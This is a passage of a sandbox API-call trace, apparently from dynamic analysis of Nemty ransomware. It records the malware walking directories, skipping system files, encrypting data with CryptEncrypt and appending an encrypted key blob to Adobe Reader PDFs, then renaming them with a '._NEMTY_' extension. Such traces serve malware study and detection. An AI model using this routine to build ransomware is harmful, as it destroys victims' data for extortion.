cFileName="..", cAlternateFileName="")) returned 1 [0187.628] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.628] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.628] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0187.628] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0187.629] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0187.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0187.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.629] Sleep (dwMilliseconds=0x5) [0187.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x237c5f30, dwHighDateTime=0x1d561e8)) [0187.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x237c5f30, dwHighDateTime=0x1d561e8)) [0187.635] GetLastError () returned 0xb7 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.635] GetLastError () returned 0xb7 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.635] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.635] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.635] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.635] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="JJTEj9lCFCxqwY7RNA3dynqXtvxBZjM47ZxDRrSVM0afLrK4uyy1QUk9kpP8GRq0\r\n+vaJFgBrHiBNpgLbL+LmRnDUztYpRU2GJVM77lgS5nGyZPlA2o5Oi7Y8/3jiUBf1\r\n6fKeZp3EQgL8qMMokbZcyTaU0MO9TqD8zufxsGelSSKteAtJMIsHiV5JA5KO+r3s\r\nA0pM8ftbDCbOYst28do0kqubvUURbbOp2eCeAhEjVVzv71es/K1TgrZAO0UFjVId\r\n/IaFvWluj09S1LgWVDfFCO1GKMJU3V0yvNJcnTHlACCmwWaHGKRRPh2mIu36AtgU\r\nYQ0ZiOiAdQsuKrbU2nkfDA==\r\n", pcchString=0x653df5c) returned 1 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.635] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.636] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32000) returned 1 [0187.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7d00) returned 0x6352c48 [0187.636] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.636] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7d00, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x7d00, lpOverlapped=0x0) returned 1 [0187.677] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.677] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7d00, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x7d00, lpOverlapped=0x0) returned 1 [0187.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.677] SetFilePointer (in: hFile=0x320, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00 [0187.677] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.677] CloseHandle (hObject=0x320) returned 1 [0187.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.678] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.678] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8770, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0187.678] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0187.678] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0187.678] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0187.678] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0187.678] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0187.679] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0187.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0187.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0187.680] Sleep (dwMilliseconds=0x5) [0187.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23838350, dwHighDateTime=0x1d561e8)) [0187.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23838350, dwHighDateTime=0x1d561e8)) [0187.683] GetLastError () returned 0x0 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.684] GetLastError () returned 0x0 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.684] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.684] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="Vd7ieZFQuAqxV47k6QXb3TP+gart7+9iUNXU4+Ae5nsi6HFCpZqPq4qdTpsCd+ez\r\nbyOEvhhx2p7di8TA8I2Gw3b9kTebhe8bk3vqCG0APgZj0E4xuwZHHHQKJNitgHdr\r\nt81RVelCE1++ayW4Qtz5T3Q6Itz47z5HZexBJKNZzkt8hJWdo+PGDu0KRY175nN4\r\ntpUjHMeYfDDSSVz9unTutieYih8uQZzMkW7X3+xejo01N5A2jmOF9nYLDADo685Z\r\nYe4CHQL3S4w57v+7bWjXSClWwVDMRpV7DwpQeS+H3ngYFOvQDbWQJqiMImyhuD7Q\r\nbYxkDqTa8U4IdvMqqORbrw==\r\n", pcchString=0x653df5c) returned 1 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.685] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=34672) returned 1 [0187.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8770) returned 0x6352c48 [0187.685] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.685] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8770, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8770, lpOverlapped=0x0) returned 1 [0187.688] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.688] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8770, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8770, lpOverlapped=0x0) returned 1 [0187.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.689] SetFilePointer (in: hFile=0x320, lDistanceToMove=34672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8770 [0187.689] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.689] CloseHandle (hObject=0x320) returned 1 [0187.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0187.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.689] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 